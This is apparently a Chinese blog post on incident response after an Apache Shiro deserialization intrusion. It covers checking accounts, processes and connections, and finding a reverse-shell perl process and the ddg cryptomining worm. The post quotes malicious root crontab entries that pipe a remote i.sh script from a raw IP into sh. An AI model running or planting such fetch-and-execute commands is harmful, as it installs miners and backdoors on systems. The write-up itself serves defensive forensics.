背景


某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell。出于做安全的谨慎,马上出现场应急,确认漏洞。该漏洞存在在cookie字段中的rememberMe字段中,可以RCE

漏洞应急


来到现场后,发现已经升级了,漏洞确认修复完成,只能查看以前的攻击痕迹。

查看账号情况

首先查看账户文件/etc/passwd,修改时间和内容没有什么问题

stat /etc/passwd
cat /etc/passwd

查看文件情况

查看最近修改过的文件没看到特殊异常

ls -alst / -m -10 -name *

查看进程

查看进程

ps aux

看到异常 perl nc2.pl 后面参数跟着一个灯塔国地址,马上想到是反弹的shell,查问漏洞检测者,果真是,确认无害后kill进程。

查看网络连接

netstat -anop | grep tcp

发现服务器对外连接很多22端口,觉得异常,服务器主动对外发起连接22端口,很少见,询问业务也没有这类业务。看相关进程号,查看进程名ddg.2020。明显是一个矿马,经排查服务器上还启动redis和memcached。都是未授权访问。目测,是对外发起6379未授权漏洞的利用,写了root下的id_rsa.pub然后尝试22登录,看下自己的root下的.sshd,果真有id_rsa.pub不正常,因为都不适用root登录遂删除。查看进程目录。/tmp下面的,没有这个文件样板,全盘搜,只有ddg.2020.db没有ddg.2020,随机google,发现该样本会删除自己的文件,并启动定时任务去下载自己。

sudo -i
crontab -e

没有发现问题,还有一个地方

cat /var/spool/cron/crontabs/root

果然看到

curl -fsSL https://218.248.40.228:8443/i.sh | sh
wget -g -O -http://218.248.40.228:8443/i.sh | sh

马上配置阻断

查看进程运行时间对应的操作

history #只有四百多条,很明显不对
who /var/log/wtmp
last
last /var/run/utmp #

发现那天的登录日志被清理。

查看VPC内其他主机,都不存在该蠕虫,那么肯定就是通过getshell打进来,然后种了样本之后离开的。

总结


异常的发现在于明显区别于正常使用用途的网络连接。

应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)的更多相关文章

  1. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  2. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  3. 一次关于shiro反序列化漏洞的思考

    0x01前言 之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框 ...

  4. Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...

  5. Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)

    Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性. 文章目录: 1.Shiro rememberMe ...

  6. Shiro反序列化漏洞复现

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.使用Shiro的易于理解的API,可以快速.轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企 ...

  7. Shiro 反序列化漏洞利用

    环境搭建 docker pull medicean/vulapps:s_shiro_1 docker run -d -p 80:8080 medicean/vulapps:s_shiro_1 # 80 ...

  8. Apache Shiro 反序列化漏洞分析

    Shiro550 环境搭建 参考:https://www.cnblogs.com/twosmi1e/p/14279403.html 使用Docker vulhub中的环境 docker cp 将容器内 ...

  9. Apache Shiro反序列化漏洞(Shiro550)

    1.漏洞原理: Shiro 是 Java 的一个安全框架,执行身份验证.授权.密码.会话管理 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rem ...

随机推荐

  1. 设计模式1-单例模式(Singletion)

    单例模式(Singletion):保证一个类仅有一个实例,并提供一个访问该实例的全局访问点. 单例模式主要作用是保证唯一的实例,可以严格地控制客户端怎样访问该实例以及何时访问它.可以简单的理解为对唯一 ...

  2. 输出到网页前台js代码中包含单引号的处理方法

    描述:后台输出js到前台,如     <script type="text/javascript">   //<![CDATA[       var aStepD ...

  3. vue如何加搜狗联盟广告

    搜狗联盟广告和百度联盟广告大同小异,但是好在百度联盟广告的使用方法网上还是可以找到一些,而搜狗联盟广告的教程网上几乎找不到,都是最基本的创建代码位的教程. 在vue中如果要加入搜狗联盟广告,就不能直接 ...

  4. 使用intellij idea打包并部署到外部的tomcat

    1.使用intellij idea创建项目demotest File -> New -> Project-> Spring Initializr,根据提示一步步操作 会生成一个带有 ...

  5. 使用apache的poi实现导入导出excel

    1.jar包:poi-3.14-20160307.jar.poi-ooxml-3.14-20160307.jar 2.导入(本例实现了解析excel生成List): @Override public ...

  6. IT运维助力业务增值

    随着业务的不断扩展及IT的深化融合,IT运维在企业日常管理中的地位已经显得越发重要.然而,日常的运维工作繁琐.辛苦,还得不到认可.“吃力不讨好!”也成为很多兢兢业业的IT管理人员普遍存在的苦恼.    ...

  7. Python 面向对象详解

    Python从设计之初就已经是一门面向对象的语言,正因为如此,在Python中创建一个类和对象是很容易的.本章节我们将详细介绍Python的面向对象编程. 如果你以前没有接触过面向对象的编程语言,那你 ...

  8. C#删除文件直接到回收站,而不是直接删除

    记录下: FileSystem.DeleteDirectory(physicalPath, UIOption.OnlyErrorDialogs, RecycleOption.SendToRecycle ...

  9. Go错误处理(二)

    1,.error接口的定义 type error interface{ Error()string } 2.error的使用 func Foo(param int)(n int,err error){ ...

  10. iOS开发-NSDictionary

    判断一个字典中是否存在某个key,有两种方法: 方法一: if ([dictionary allKeys] containsObject: key]){ // cotains key operatio ...